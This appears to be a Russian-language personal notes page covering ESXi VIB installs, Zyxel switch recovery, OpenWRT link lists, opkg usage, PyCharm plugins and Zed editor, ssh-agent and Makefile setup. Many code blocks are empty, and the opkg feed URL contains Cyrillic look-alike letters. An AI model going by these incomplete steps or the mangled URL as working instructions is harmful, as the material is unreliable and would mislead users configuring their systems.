Скачать https://github.com/lamw/ghettoVCB/raw/master/vghetto-ghettoVCB.vib и поставить его на хосте ESXi в /tmp а затем установить
esxcli software vib install -v /tmp/vghetto-ghettoVCB.vib -a


Чтобы обойти эту проблему и убедиться, что ваши изменения отражены, скопируйте /etc/vmware/rhttpproxy/endpoints.conf во временную папку . Отредактируйте файл, затем скопируйте его обратно в /etc/vmware/rhttpproxy/endpoints.conf .

флаги ядра
https://wiki.gentoo.org/wiki/VMware
CONFIG_VMWARE_PVSCSI=y
для VMware Player
CONFIG_FUSION=y
CONFIG_FUSION_SPI=y
CONFIG_FUSION_FC=y
CONFIG_FUSION_SAS=y
CONFIG_FUSION_MAX_SGE=128

Manage the Acceptance Levels of Hosts and VIBs
1. убедитесь, что для уровня приема установлено значение VMwareCertified, VMwareAccepted или PartnerSupported
esxcli software acceptance get

2. Если уровень принятия хоста - CommunitySupported, определите, находятся ли какие-либо из VIB на уровне CommunitySupported, выполнив следующие команды.
esxcli software vib list
esxcli software vib get -n vibname

3. Удалите все поддерживаемые Community VIBs, выполнив следующую команду.
esxcli software vib remove --vibname vib

4. Измените уровень принятия хоста одним из следующих способов.
esxcli software acceptance set --level acceptance_level



Для отладки kernel panic по консоли:
1) Остановить машину.
2) Edit settings -> Add -> Serial device -> to file -> создать файл в datastore
3) После kernel panic скачать файл через storage browser.

дрова
https://docs.vmware.com/en/VMware-Tools/10.2/rn/vmware-tools-1025-release-notes.html
https://packages.vmware.com/tools/esx/index.html
https://docs.microsoft.com/ru-ru/windows-server/get-started-19/install-fod-19

для того чтобы скачать просто выполните эту команду:

wget linux-notes.org/wp-content/uploads/scripts/web-host-setup.sh

Нужно открыть сприпт и перед его запуском ознакомится и немного поправить.
сам скрипт



http://linux-notes.org/skript-dlya-ustanovki-veb-servera-na-centos-skachat/



посмотреть
очистка от предыдущей версии



(глянуть что сносит и нужное поставить опять)

можно конечно воспользоваться ppa:




добавление ppa репозитория в debian
как добавить ключ репозитория в debian или ubuntu
Добавление ключей репозитория, когда другие способы не помогли

добавить недостающие ключи




но мы пойдём другим путём:




или как сделано тут Простой способ установки самой новой версии LibreOffice на Linux




Краткая памятка по работе с архиваторами из консоли в Linux

поскольку нам необходимо чтобы программы LOO завускались из консоли, то добавим переменную в $PATH




проверим наличие




и создадим пакет, в котором будут ссылки на программы из /opt/libreoffice6.0/program/

структура пакета
DEBIAN/control и opt/libreoffice/bin/файлы




в каталоге /opt/libreoffice/bin будут лежать файлы следующего содержания:



делаем файлы исполняемыми




в случае изменения версии LOO




делаем бинарик для каждой программы из каталога




готовим пакет




вот результат, забирайте

этот пакет нужен если возникнет желание воспользоваться libreoffice в консоли, напр. для конвертации

libreoffice --headless --convert-to pdf:writer_pdf_Export --outdir $HOME/tmp/convert *.html

оптимизация pdf

http://linux-notes.org/poisk-i-zamena-slov-v-fajlah-linux/
http://forum.ubuntu.ru/index.php?topic=171497.0

Восстановление доступа HTTP/HTTPS через подключение по SSH
включить web управление:
ssh admin@172.16.2.250
Введите команду: configure terminal
Введите команду: ip http secure-server
Введите команду: write
Введите команду: exit
Откройте браузер и введите IP-адрес устройства

выключить web управление:
System → WWW → HTTPS снять галку с Enable
нажать на Apply

Сброс коммутатора на заводские настройки используя интерфейс командной строки (CLI) Коммутаторы Ethernet icon
erase running-config
write memory

нужные команды:
https://www.manualslib.com/manual/363464/Zyxel-Communications-Zywall-Usg-Cli.html?page=258#manual

если в вебморде заблокировали доступ для всех )
посмотреть
show ip http server secure status
show ip http server status

Router(config)# show ip http server status
active : yes
content-compression : no
port : 80
authentication method: default
admin service control:
No. Zone Address Action
===============================================================================
1 ALL ALL deny
2 LAN2 ALL accept

удалить блокировку
configure terminal
no ip http server table admin rule 1

show logging entries | more


ftp://ftp.zyxel.com/
https://nebula.zyxel.com/




ознакомиться
https://openwrt.org/
https://lede-project.org/
https://librecmc.org/
https://www.dd-wrt.com/site/support/router-database
https://dd-wrt.com/wiki/index.php/Supported_Devices

https://wiki.openwrt.org/start
https://wiki.openwrt.org/doc/uci
Настройка OpenWrt с помощью UCI

Обзор альтернативных прошивок домашних роутеров

https://wiki.openwrt.org/ru/start
Команды операционной системы OpenWRT
Восстановление настроек openwrt в исходное состояние и failsafe mode

OpenWRT — дружба с DIR-300 B5, B6 и B7

Установка OpenWrt в VirtualBox
uzverss первый запуск OpenWRT на QEMU

сервер samba usb внешний hdd торрент радио видео
Миникомпьютер из роутера с OpenWRT: пишем драйвер фреймбуфера
Как сделать портативный ремонтный сервер
OpenWRT, или Что еще можно сделать со своим роутером
OpenWrt + внешний HDD + Transmission + Samba
Установка и настройка samba в openwrt
Одновременное подключение usb-флешки и usb-hdd в openwrt
OpenWRT — Монтируем BtrFS

Видеонаблюдение своими руками с программой motion detection (обнаружение движения) на openwrt (linux)
Подключение веб-камеры в openwrt

OpenWRT — Ретрансляция онлайн-радио

сеть vlan wi-fi
Настройка сети в OpenWRT
Открытие доступа на openwrt из интернета
Настройка WiFi на OpenWRT
dyndns на openwrt подключение в качестве wifi клиента
Быстрый роуминг (802.11r) в WiFi сети на базе Lede (aka OpenWRT)
настройка vlan
OpenWRT(с OpenVPN) на TL-WR740N. Как добавить vlan.

VPN
https://wiki.openwrt.org/doc/howto/vpn.ipsec.basics

Кошерная организация туннелей в OpenWRT

Поднимаем VPN-туннель из мира домой в обход NAT
OpenWRT — OpenVPN и маршрутизация
OpenVPN Client Setup
IPsec Site To Site Using Openswan
Подключение к провайдеру используя L2TP с Dual Access
https://support.aa.net.uk/L2TP_Client:_OpenWRT
https://wiki.strongswan.org/projects/strongswan/wiki/OpenWrtUCI
L2TP Туннель между роутером с OpenWRT и Mikrotik RB951G-2HnD
Настройка L2TP-соединения (провайдер «Гарант», г.Гомель) в OpenWRT
OpenWrt + L2TP Beeline
https://wiki.debian.org/ru/OpenL2TP
Настройка L2TP/IPSec PSK Туннеля под OpenWRT (Linux), настройка клиентов, в частности Windows 7
https://linux.die.net/man/5/ipsec.conf
Быстрая настройка l2tp на openwrt beeline
OpenWRT l2tp
luci-app-ipsec-vpnd
доп репозиторий с ipsec l2tp
Instalacja ipsec/l2tp (strongswan4 + xl2tpd) na OpenWRT działa z Androidem
https://hide.me/en/vpnsetup/ubuntu/ikev2/
Openwrt - openvpn сервер настройка
Как предоставить доступ для всех устройств из локальной сети к VPN

Обход DPI провайдера на роутере с OpenWrt, используя только busybox
Исследуем «Ревизор» Роскомнадзора

ПО пакеты ipk opkg сборка и управление
https://git.openwrt.org/
https://github.com/openwrt/
https://openwrt.org/packages/start
https://downloads.openwrt.org/releases/
https://oldwiki.archive.openwrt.org/doc/devel/feeds

https://openwrt.org/ru/doc/devel/packages # Создание пакетов
OpenWrt build system – Installation
Пошаговая прошивка OpenWRT на роутер TP-LINK TL-WR741ND из Windows
OpenWRT — восстановление прошивки
LEDE — Сборка из исходников
OpenWRT — сборка в Debian 9 «Stretch»
OpenWRT — Сборка из исходников
Сборка OpenWrt/LEDE из исходных кодов 4PDA
Руководство по уменьшению размера прошивки OpenWRT
Менеджер пакетов opkg. Offline инсталляция пакетов в образ корневой файловой системы
Как устанавливать пакеты приложений?
Кросс компиляция прошивки OpenWRT и пакетов на Ubuntu
Компиляция/портирование своей программы под OpenWRT

Управление пакетами с помощью менеджера пакетов Opkg
управление пакетами из консоли осуществляется с помощью менеджера пакетов OPKG, преемник старого менеджера пакетов ipkg.

Данный менеджер пакетов позволяет установливать, обновлять и удалять отдельные программные пакеты, разрешает зависимости между пакетами и выводить список установленного программного обеспечения. Учитывая, что в Dreambox используется именно этот пакетный менеджер, сделал для себя памятку по командам opkg...


usage: opkg [options...] sub-command [arguments...]

Управление пакетами:


    update             Обновление списка пакетов
    upgrade            Обновление установленных пакетов
    install            Установка пакета (пакетов)
    configure          Конфигурирование (сборка) распакованного пакета
    remove             Удаление пакета (пакетов)
    flag               Флажки для пакетов
     =hold|noprune|user|ok|installed|unpacked

Информация о пакетах:


    list                   Список доступных пакетов
    list-installed         Список установленных пакетов
    list-upgradable        Список установленных и доступных для обновления пакетов
    files                  Список файлов, принадлежащих пакету 
    search                 Поиск
    info [pkg|regexp]      Показать всю информацию по пакетам
    status [pkg|regexp]    Показать все статусы пакетов 
    download               Скачивание в текущую директорию
    compare-versions   
                          Сравнение версий с помощью = = 
    print-architecture    Список архитектуры устанавливаемого пакета
    whatdepends [-A]    [pkgname|pat]+
    whatdependsrec [-A] [pkgname|pat]+
    whatprovides [-A]   [pkgname|pat]+
    whatconflicts [-A]  [pkgname|pat]+
    whatreplaces [-A]   [pkgname|pat]+

Опции:


    -A                Запрос всех пакетов - не только тех, что установлены
    -V[]              Уровень вывода
    --verbosity[=]
                       0 - только ошибки
                       1 - нормальный уровень (по умолчанию)
                       2 - информационные сообщения
                       3 - дебаг
                       4 - дебаг (2й уровень)
    -f                Использовать в качестве файла конфигурации opkg
    --conf 
    --cache           Использование кэша пакетов
    -d                Использовать в качестве корневого каталога для
    --dest            установки пакета, обновления или удаления.
    -o                Использовать в качестве корневого каталога для
    --offline-root    автономной установки пакетов.

Принудительные опции:


    --force-depends        Установить/удалить, несмотря на зависимости
    --force-maintainer     Перезапись существующих конфигурационных файлов
    --force-reinstall      Переустановка пакет(ов)
    --force-overwrite      Замена файлов новыми
    --force-downgrade      Откат пакета
    --force-space          Не проверять свободное место
    --noaction             Просто тестирование (никаких действий)
    --download-only        Просто скачивание (никаких действий)
    --nodeps               Не уставнавливать зависимости
    --force-removal-of-dependent-packages
                           Удаление пакета(ов) и всех зависимостей
    --autoremove           Удаление пакета(ов), которые установлены лишь
                           удовлетворения зависимостей
    -t                     Определение tmp-директории
    --tmp-dir              Определение tmp-директории

Примеры использование:


$ opkg list_installed | grep gcc
libgcc1 - 4.3.3-r17.1.6

$ opkg list | wc -l
17698
$ echo 'src/gz angstrom-base httр://www.аngstrom-distribution.org/feеds/unstаble/ipk/glibc/armv7a/
base'  > /etc/opkg/angstrom-base.conf
$ opkg update
...
$ opkg list | wc -l
21755


Mikrotik
Запуск OpenWRT 14.07 на Mikrotik и пример сборки Аsterisk c дополнительным модулем
Common Procedures for Mikrotik RouterBoard Products
OperWRT на MetaROUTER Mikrotik
Виртуальная машина MetaROUTER и запуск OpenWRT на маршрутизаторах Mikrotik
Instalace OpenWRT do Mikrotik RouterBOARD 512
OpenWRT on Mikrotik Routerboard 411/750
GETTING SHELL ON A ROUTERBOARD

OpenWRT em Mikrotik Routerboard 750 (Linux on MIPS AR7xxx/AR9xxx)
https://wiki.openwrt.org/toh/mikrotik/start

Видео
------------------------------------------------------------------------
Вернуть стандартную прошивку роутера вместо OpenWrt
https://www.youtube.com/watch?v=WNTftKOJfAs
https://www.youtube.com/watch?v=Cb-xNex7W38
------------------------------------------------------------------------
Установка и настройка OpenWRT под Beeline на роутер TP-Link TL-WDR4300
https://www.youtube.com/watch?v=wm0ZYj74yrQ
------------------------------------------------------------------------
мост на openwrt для хялявного инета
https://www.youtube.com/watch?v=pCCKR1zJtNw
------------------------------------------------------------------------
Интернет через роутер с Linux (OpenWRT, MR3220)
https://www.youtube.com/watch?v=GuhAGVJDLVQ
------------------------------------------------------------------------
Настройка multiwan на openwrt
объединить два интернет канала от разных провайдеров в один.
https://www.youtube.com/watch?v=oNLss7btnP4
------------------------------------------------------------------------
configure OPENWRT as access point
https://www.youtube.com/watch?v=bG_Tyk6AGaM
------------------------------------------------------------------------



развернуть

Топ плагинов для PyCharm:


  1. Tabnine — подсказки с использованием ИИ. Очень крутой плагин, сильно помогает при написании кода, использую всегда.

  2. Translation — супер полезный плагин, позволяет запустить переводчик прямо из кода.

    Использование: выделить нужный текст, нажать ПКМ и выбрать Translete/Translete and Repace. Либо нажать в правом верхнем углу на иконку перевода.

  3. PyLint — линтер для Python, указывает на плохой код. 

    Использование: выбрать в нижнем меню PyLint и запустить проверку.

  4. MyPy — проверка типов в Python (чтобы не допускать ошибки связанные с типом возвращаемых значений).

    Использование: выбрать в нижнем меню MyPy и запустить проверку.

  5. SonarLint — указывает на различные ошибки в нейминге переменных/функций/классов.

    Использование: Ctrl+Shift+S или выбрать в нижнем меню SonarLint и запустить проверку.`

  6. Python Security — проверяет код на уязвимости, работает автоматически.

  7. Quick File Preview — посмотреть файл не открывая его, полезен если вы постоянно бегаете по файлам в поисках буквально 1 строчки и нет смысла полностью открывать файл. 

    Использование: Один раз кликнуть на файл.

  8. String Manipulation — работа с названиями переменных/функций и т. п. (можно привести к snake_case, camelCase и т. п.),

    Использование: выделить нужное слово, нажать ПКМ, нажать String Manipulation, нажать Switch Case и выбрать нужный пункт.

  9. Rainbow Brackets — красит скобочки в свой цвет, нужно чтобы чётко видеть иерархию скобок.

  10. Python Smart Execute — запустить блок кода в консоли, не запуская при этом саму программу (к примеру для теста на работоспособность).

    Использование: выделить код и Alt+Shift+A, или нажать ПКМ и выбрать Smart execute...

  11. MultiHighlight — выделить какое-либо название цветом (к примеру чтобы не забыть отрефакторить этот кусок).

    Использование: Выделить кусок и нажать Ctrl+'

  12. Dummy Text Generator — сгенерировать рандомное предложение в различных стилях. Бывает полезно для теста функционала (к примеру, что текст отображения не вылазит за рамки).

    Использование: Нажать ПКМ, выбрать Generate (либо Alt+Insert), выбрать Generate Dummy Text.

  13. Randomness — сгенерировать случайное число, строку и т. п. 

    Использование: нажать Alt+R и выбрать нужное действие.

  14. CodeGlance — добавляет карту с кодом в правую часть окна.

  15. Extra Icons — изменяет стандартные иконки.

    Использование: Включить Settings/Appearance Behavior/Extra Icons

  16. Mario Progress Bar — изменяет стандартный прогресс бар на марио.



Горячие клавиши:


  1. Ctrl+Alt+S — Перейти в настройки (откроется та часть где вы остановились).

  2. Ctrl+Shift+Стрелочки (вверх, вниз) — Переместить строчку вверх или вниз.

  3. Ctrl+D/Y — Дублировать строчку/Удалить строчку.

  4. Alt+Enter - Привести код к принятым стандартам (для Python - PEP8).

  5. Ctrl+B — Переместиться к реализации данного класса/метода и т. п.

  6. Ctrl+R — Изменить название класса/функции и т. п. по всему проекту.

  7. Double tap on Shift - поиск в классе, функции, файле, PyCharm action или везде.

  8. Ctrl+J — Использовать шаблон кода.

  9. Alt+Enter — произвести настройку класса/функции и т. п. (к примеру указать типы принимаемых и возвращаемых значений).

  10. Ctrl+E — Навигация по файлам (отображает список файлов в хронологическом порядке).

  11. Ctrl+Alt+M — Объединить выделенный код в функцию/метод.

  12. Ctrl+N — Найти класс/метод и т. п. по названию (по всем местам).

  13. Ctrl+Shift+N — Найти файл по названию (по всем местам).

  14. Alt+F7 — Посмотреть где используется класс/метод/функция и т. п.

  15. Ctrl+F12 — Показывает структура файла (класса, функции и т. п).



Настройки PyCharm:


  1. Настроить интерпретатор. Тут вы сможете изменить версию Python, добавить библиотеки и ещё много чего интересного.

    File -> Settings -> Project:<name> -> Project Interpreter

  2. Изменить шрифты, размеры и т. д.

    File -> Settings -> editor -> font

  3. Поменять цветовую схему UI.

    File -> Settings -> editor -> color scheme

  4. Deploy на сервер. Эта настройка открывает нам целый мир удобного деплоя, если будет интересно, могу написать отдельную статью просвещённую деплою.

    Tools -> Deployment -> Configuration

  5. Добавление плагинов.

    File -> Settings -> Plugins

  6. Это не совсем настройка, но всё же находится в меню, так что я решил добавить это сюда. Позволяет посмотреть небольшую статистику своей продуктивности.

    Help -> MyProductivity



взято тут
https://github.com/Ryize



развернуть
дополнительные файлы конфигурации

sudo apt-get install scite
sudo vim /usr/share/scite/SciTEGlobal.properties
изменить эти параметры



sudo wget -P /usr/share/scite http://www.scintilla.org/locale.ru.properties
pushd /usr/share/scite
sudo iconv -f WINDOWS-1251 -t ISO8859-5 -o locale.properties locale.ru.properties
popd



настройка редактора Zed, часть 1 LJ
настройка редактора Zed, часть 1 DW

настройка редактора Zed, часть 2 LJ
настройка редактора Zed, часть 2 DW

ознакомится
работа Git в Zed
Что умеет Git в Zed по умолчанию?
Цветовая разметка изменений (в левой панели файлов):
Зеленый цвет названия файла — файл только что создан и еще не отслеживается (Untracked).
Желтый/Оранжевый цвет — файл изменен (Modified).
Индикаторы изменений прямо в коде (Gutter):
Слева от номеров строк появляются цветные вертикальные полоски:
зеленая (добавленная строка), желтая (измененная) или красный треугольник (удаленный текст).
Кликнув на эту полоску, можно мгновенно откатить изменение конкретной строки.

Строка состояния (справа внизу):
Там всегда отображается название вашей текущей Git-ветки (например, main или dev). Кликнув на нее, можно быстро переключиться на другую ветку или создать новую.

Настройка Git-интеграции
Поскольку вы работаете на Linux, для полноценного удобства полезно настроить две вещи.
1. Отображение автора строки (Git Blame)
Очень удобная функция: когда вы ставите курсор на любую строку кода, редактор показывает справа бледным текстом, кто, когда и с каким комментарием (commit message) изменил эту строку.
Чтобы включить это, нажмите Ctrl + , (откроются настройки settings.json) и добавьте параметр:




2. Добавление скрытых папок Git и сборки в игнор поиска
Чтобы при глобальном поиске по проекту (Ctrl + Shift + F) Zed не тратил оперативную память на сканирование внутренних файлов Git, истории или папки сборки build/ из нашего универсального Makefile,
добавьте правила исключения в тот же settings.json:




Как работать с Git в Zed через клавиатуру?
Вы можете вызывать встроенные команды Git через стандартную командную панель:
Нажмите Ctrl + Shift + P.
Введите слово git.
Вы увидите список доступных команд, таких как Git: Toggle Timeline (посмотреть историю изменений текущего файла) или Git: Open Changed Files.

Если вам нужно сделать коммит или отправить код на удаленный репозиторий (Git Push),
вы можете нажать Ctrl + ~ (открыть встроенный терминал Zed) и выполнить стандартные консольные команды — это работает в едином окне и бесшовно.
Используете ли вы Git локально для хранения версий на ноутбуке, или вам нужно настроить отправку кода между вашим ноутбуком и изолированным сервером через локальный Git-репозиторий?

Сценарий 1. Проекты с удаленными репозиториями (SSH-серверы)
Если проект лежит на вашем мощном сервере, и там же инициализирован Git, вам не нужно вручную делать git push или git pull через флешку.
Когда вы подключаетесь к серверу через Zed по SSH (используя настроенный нами ранее алиас dev-server), встроенный Git в Zed автоматически подхватывает серверный репозиторий.
Вся цветовая разметка (зеленые и желтые строки) будет работать прямо через сеть в реальном времени.
Чтобы быстро синхронизировать код с удаленным сервером (например, сделать коммит), откройте встроенный терминал в Zed (Ctrl + ~). Он автоматически откроется внутри вашего сервера. Вы можете сразу писать:
git add .
git commit -m "Добавил универсальный Makefile"
git push origin main

Сценарий 2. Полностью локальные проекты (на ноутбуке)
Для проектов, которые вы ведете локально на ноутбуке, очень важно настроить глобальный файл исключений (.gitignore), чтобы в ваши локальные репозитории случайно не попали временные файлы компиляции Си или кэш Python.
Чтобы не создавать .gitignore в каждой папке вручную, настройте один глобальный файл для вашего пользователя в Debian:

Создайте глобальный файл исключений в терминале:bashnano ~/.config/git/ignore

Вставьте туда список файлов, которые Git должен навсегда игнорировать на вашем ноутбуке:



Сохраните файл (Ctrl+O, затем Enter) и выйдете (Ctrl+X).
Теперь в любом локальном проекте, где вы введете git init, Git автоматически проигнорирует этот системный мусор, а Zed не будет подсвечивать папку build/ желтым цветом.

Лайфхак для Zed: Разделение настроек под разные проекты
Так как у вас разные проекты (локальные Python-скрипты, низкоуровневый Си на сервере, веб-интерфейсы), вам может быть неудобно держать все настройки в одном глобальном файле settings.json.
Zed позволяет создавать локальные настройки для конкретной папки.
Создайте в корне любого вашего проекта скрытую папку .zed.
Внутри неё создайте файл settings.json.
Все параметры, написанные в этом файле, будут работать только для этого проекта.

Пример:
Для локального Python-проекта в папке .zed/settings.json вы можете включить автокомплит Ollama 1.5B,
а для тяжелого проекта на Си, открытого по SSH на мощном сервере — переписать настройки на большую модель Qwen 7B и жестко включить форматировщик clang-format.

Использование SSH-ключа с парольной фразой (passphrase) — это отличная практика для безопасности, но в графических редакторах она часто вызывает неудобства, так как система постоянно запрашивает ввод пароля при попытке связаться с удаленным Git-репозиторием.
Чтобы решить эту проблему в Debian 13, нужно настроить ssh-agent. Это встроенная служба Linux, которая один раз при загрузке системы спрашивает ваш пароль, расшифровывает ключ в оперативной памяти и затем автоматически предоставляет его редактору Zed и утилите Git на протяжении всей сессии.Вот как настроить автоматический запуск агента, чтобы он работал без вашего вмешательства.

Шаг 1. Настройка автозапуска агента в вашем профиле
Чтобы служба ssh-agent автоматически стартовала в вашей графической оболочке Debian при каждом включении ноутбука, добавьте несколько строк в конфигурационный файл вашего пользователя.
Откройте терминал на ноутбуке и откройте файл .bashrc (или .zshrc, если вы меняли оболочку):

vim ~/.bashrc

Прокрутите файл в самый конец и вставьте этот стандартный скрипт автоматического подхвата агента:



Сохраните файл (Ctrl+O, затем Enter) и выйдете (Ctrl+X).
Примените настройки прямо сейчас без перезагрузки:
source ~/.bashrc

Шаг 2. Добавление ключа в память агентаТеперь нужно сказать агенту, чтобы он запомнил ваш защищенный ключ. Выполните команду:
ssh-add ~/.ssh/id_ed25519

Если вы использовали стандартное имя ключа RSA, то путь будет ~/.ssh/id_rsa).
Система один последний раз попросит вас ввести вашу парольную фразу (passphrase). После успешного ввода ключ сохранится в оперативной памяти ноутбука.

Шаг 3. Автоматизация через SSH Config (Самый важный шаг)
Чтобы вам не приходилось вводить команду ssh-add вручную после каждой перезагрузки ноутбука, настройте встроенный механизм автоматического добавления ключей в SSH.
Откройте ваш конфигурационный файл SSH, который мы создавали ранее:

vim ~/.ssh/config

Добавьте в самый верх файла (над вашим Host dev-server) две глобальные строчки:



Как это будет работать теперь?
Вы включаете ноутбук и запускаете Zed.
Когда вы открываете проект, связанный с удаленным сервером по SSH, или пытаетесь сделать git push в удаленный репозиторий, Git обращается к SSH-клиенту.
Благодаря параметру AddKeysToAgent yes, система сама на лету подхватывает ваш ключ с парольной фразой, проверяет его в ssh-agent и мгновенно одобряет операцию.
Ввод паролей больше не прерывает вашу работу в редакторе, а безопасность ключа остается на максимальном уровне.

работа с файлами сборки Makefile
Для работы с файлами сборки Makefile в редакторе Zed на Linux все готово «из коробки», так как поддержка этого инструмента встроена в ядро редактора.
Однако у утилиты make есть одна жесткая историческая особенность: она синтаксически не принимает пробелы вместо табуляции.
Если в правиле сборки вместо знака Tab поставить 4 или 8 пробелов, утилита выдаст знаменитую ошибку Makefile:*** missing separator. Stop.

Шаг 1. Настройка автоматических табов для Makefile в settings.json
Поскольку для Python, JSON и YAML мы настроили использование пробелов, нам нужно сделать исключение конкретно для синтаксиса make.
Откройте глобальные настройки (Ctrl + ,) и добавьте в самый конец конфигурационного JSON специальный языковой блок:



После этого, как только вы откроете или создадите файл с именем Makefile (или makefile),
Zed автоматически переключит клавишу Tab в режим вставки «жестких» символов табуляции, и сборка на вашем сервере никогда не сломается.

Шаг 2. Как запускать сборку одной кнопкой (через Tasks)
Вместо того чтобы каждый раз открывать терминал и вручную писать команду make, вы можете привязать сборку к нашей системе задач Zed, которую мы настроили ранее.
Откройте файл задач ~/.config/zed/tasks.json (или через командную панель Open Tasks) и добавьте туда новую задачу сборки:



Шаг 3. Привязка горячей клавиши
Теперь откройте файл настроек клавиш keymap.json (Ctrl + K, затем Ctrl + S) и назначьте, например, классическое сочетание Ctrl + B (Build) для запуска вашей команды:



Теперь, когда вы пишете код на Си, вам достаточно нажать Ctrl + B: снизу плавно откроется панель терминала Zed, утилита make прочитает ваш файл конфигурации, вызовет gcc и скомпилирует проект.

Вот пример действительно универсального и продвинутого Makefile, который идеально подходит для компиляции Си-проектов любой вложенности
Чтобы ваш универсальный Makefile успешно подключал внешние библиотеки (например, math.h для сложных математических вычислений, pthread для многопоточности или sqlite3 для баз данных)
на вашем сервере Debian, в конфигурацию нужно добавить специальную переменную линковщика — LDFLAGS (Linker Flags).
Если этого не сделать, компилятор выдаст ошибки сборки вроде undefined reference to 'pthread_create' или undefined reference to 'sqrt'.

Создайте файл Makefile
Создайте этот файл в корне вашего проекта. Напоминаю: убедитесь, что в настройках Zed для Makefile включены hard_tabs (строки команд ниже должны начинаться с символа Tab, а не с пробелов).




Главные преимущества этого шаблона:
Изолированная сборка (build/): Чтобы промежуточные объектные файлы .o не засоряли ваши папки с исходным кодом, этот скрипт автоматически создает скрытую структуру внутри папки build/, в точности повторяя ваши подпапки.
Умный сборщик find . -name "*.c": Команда глубоко сканирует проект. Вы можете разложить код по папкам src/, src/network/, src/utils/, и make сам всё обнаружит.
Флаги безопасности (-Wall -Wextra): Они заставят компилятор выдавать максимум предупреждений о потенциальных ошибках в коде (например, если вы объявили переменную, но забыли её использовать), что очень полезно при работе с языком Си.

Как им пользоваться в Zed?
Нажмите настроенный нами ранее хоткей Ctrl + B (или выполните make в терминале). Проект автоматически скомпилируется.
Чтобы полностью стереть результаты компиляции и пересобрать проект с нуля, откройте терминал и введите:
make clean

Как это работает на примере системных библиотек Debian:
Математика (-lm):
Когда вы пишете в Си-коде #include и вызываете функции pow(), sqrt() или sin(), флаг -lm принудительно указывает линковщику связать ваш код с системным бинарным файлом libm.so.
Потоки (-lpthread): При создании параллельных вычислений через #include этот флаг подключает библиотеку libpthread.so, которая отвечает за аппаратное распределение задач по ядрам вашего процессора Intel Raptor Lake.
Если в будущем вы добавите на сервер другие библиотеки (например, графическую libpng или сетевую libcurl), вам достаточно будет просто дописать их флаги через пробел в строку LDFLAGS: LDFLAGS = -lm -lpthread -lpng -lcurl.

Если вы используете сторонние библиотеки (особенно на изолированном от интернета сервере, куда файлы переносятся вручную), они чаще всего поставляются в двух видах:
Динамические (бинарные файлы с расширением .so в Linux).
Статические (архивы кода с расширением .a).
Поскольку сервер отрезан от сети и вы не можете установить их через утилиту apt, вам нужно хранить эти файлы прямо внутри папки вашего проекта и правильно объяснить компилятору gcc, где их искать.
Вот как настроить структуру проекта и обновить Makefile, чтобы подключить любые кастомные файлы библиотек.

Шаг 1. Рекомендуемая структура папок
Чтобы проект оставался чистым и переносимым, создайте в корне вашего проекта две специальные папки:
include/ — сюда вы складываете заголовочные файлы библиотек (файлы .h), чтобы ваш Си-код знал имена функций.
lib/ — сюда вы копируете скомпилированные файлы самих библиотек (.so или .a), перенесенные с флешки.

Шаг 2. Финальная конфигурация флагов в Makefile
Откройте ваш универсальный Makefile и обновите верхний блок параметров. Нам нужно добавить два новых флага:
-Iinclude (в CFLAGS) — указывает компилятору искать файлы .h в нашей локальной папке.
-Llib (в LDFLAGS) — указывает линковщику искать бинарники библиотек в нашей локальной папке.
Замените блок флагов на следующий:

Шаг 3. Важный нюанс для динамических библиотек (.so) в Linux
Если ваши сторонние библиотеки являются динамическими (.so), в Linux есть строгая система безопасности:
при запуске программы операционная система Debian будет искать эти файлы только в стандартных системных директориях (вроде /usr/lib).
Так как их там нет, при запуске ./my_program вы получите ошибку: error while loading shared libraries: libимя.so: cannot open shared object file.
Чтобы решить эту проблему раз и навсегда без прав администратора sudo, нужно добавить в LDFLAGS специальный флаг rpath. Он жестко зашьет в ваш готовый бинарник инструкцию: «Ищи файлы .so в той же папке lib/, которая лежит рядом со мной».
Допишите эту инструкцию в строку LDFLAGS вашего Makefile:
LDFLAGS = -Llib -Wl,-rpath='$$ORIGIN/lib' -lm -lpthread -lимя

(Символ $$ORIGIN — это специальная переменная Linux, которая автоматически подставит путь к папке, где физически лежит запущенная программа).
Как теперь этим пользоваться:
Вы переносите с флешки файл, например, libcustom.so и заголовочный файл custom.h.
Файл custom.h кладете в папку include/.Файл libcustom.so кладете в папку lib/.
В Makefile в конец строки LDFLAGS дописываете -lcustom.
Нажимаете Ctrl + B в Zed — проект собирается и сразу работает.

Вот готовые, точные названия флагов для OpenSSL и других популярных библиотек, которые чаще всего используются в Си-разработке под Linux.
Вы можете просто вставлять их через пробел в строку LDFLAGS вашего Makefile.
Обратите внимание на правило компилятора gcc: если файл библиотеки называется libcrypto.so, то префикс lib отбрасывается, а к названию добавляется флаг -l, то есть получается -lcrypto.1.
Флаги для OpenSSL (Криптография и шифрование)Библиотека OpenSSL физически состоит из двух независимых частей (для работы со стандартными алгоритмами шифрования и для сетевых TLS/SSL протоколов).
Для её подключения нужно указать оба флага вместе:

# Вставляем в конец строки LDFLAGS:
-lssl -lcrypto

(Файлы в папке lib/ должны называться: libssl.so/libssl.a и libcrypto.so/libcrypto.a).

2. Справочник флагов для других частых библиотек
Если ваши задачи изменятся и вы перенесете на сервер другие инструменты, используйте эту таблицу для правильной настройки LDFLAGS:




Как это работает в Makefile?
Оператор += в языке make позволяет гибко «наращивать» строку флагов.
Сначала инициализируется базовая строка с путями к папке lib/, затем к ней автоматически прибавляются системные потоки и математика,
а ниже вы можете легким движением руки подключать любые другие инструменты по мере усложнения ваших задач.

Пример итоговой строки в вашем Makefile
Если в вашем проекте одновременно используются стандартная математика, системные потоки, база данных SQLite и шифрование OpenSSL, ваша строка флагов в Makefile будет выглядеть аккуратно и просто:

LDFLAGS = -Llib -Wl,-rpath='$$ORIGIN/lib' -lm -lpthread -lssl -lcrypto -lsqlite3

Важный совет от встроенного ИИ-агента Zed:
Поскольку вы работаете на изолированном сервере, при переносе заголовочных файлов (например, для OpenSSL) сохраняйте структуру их папок.
Внутри скачанных исходников OpenSSL файлы .h обычно лежат в подпапке openssl/.
Перенесите эту подпапку целиком в вашу директорию include/, чтобы в коде на Си пути подключались стандартным для этой библиотеки образом:

#include
#include

Тогда компилятор gcc благодаря нашему флагу -Iinclude мгновенно найдет нужные заголовки, а Zed подсветит синтаксис без единой ошибки.

1. Оптимизация на Си:
Поиск утечек памяти и ускорениеВ языке Си неправильная работа с указателями и частый вызов тяжелых функций могут сильно замедлить программу.
Как использовать ИИ-агент для рефакторинга:
Выделите кусок кода на Си, который кажется вам медленным.Нажмите Ctrl + \, чтобы вызвать панель ассистента, и напишите промпт:

«Проанализируй этот код на Си. Найди потенциальные утечки памяти (пропущенные free), оптимизируй циклы и предложи более быструю альтернативу с точки зрения использования кэша процессора.»

Что сделает модель:
Перепишет циклы так, чтобы они шли по строкам, а не по столбцам (эффективное использование кэш-линий процессора вашего Intel Raptor Lake).
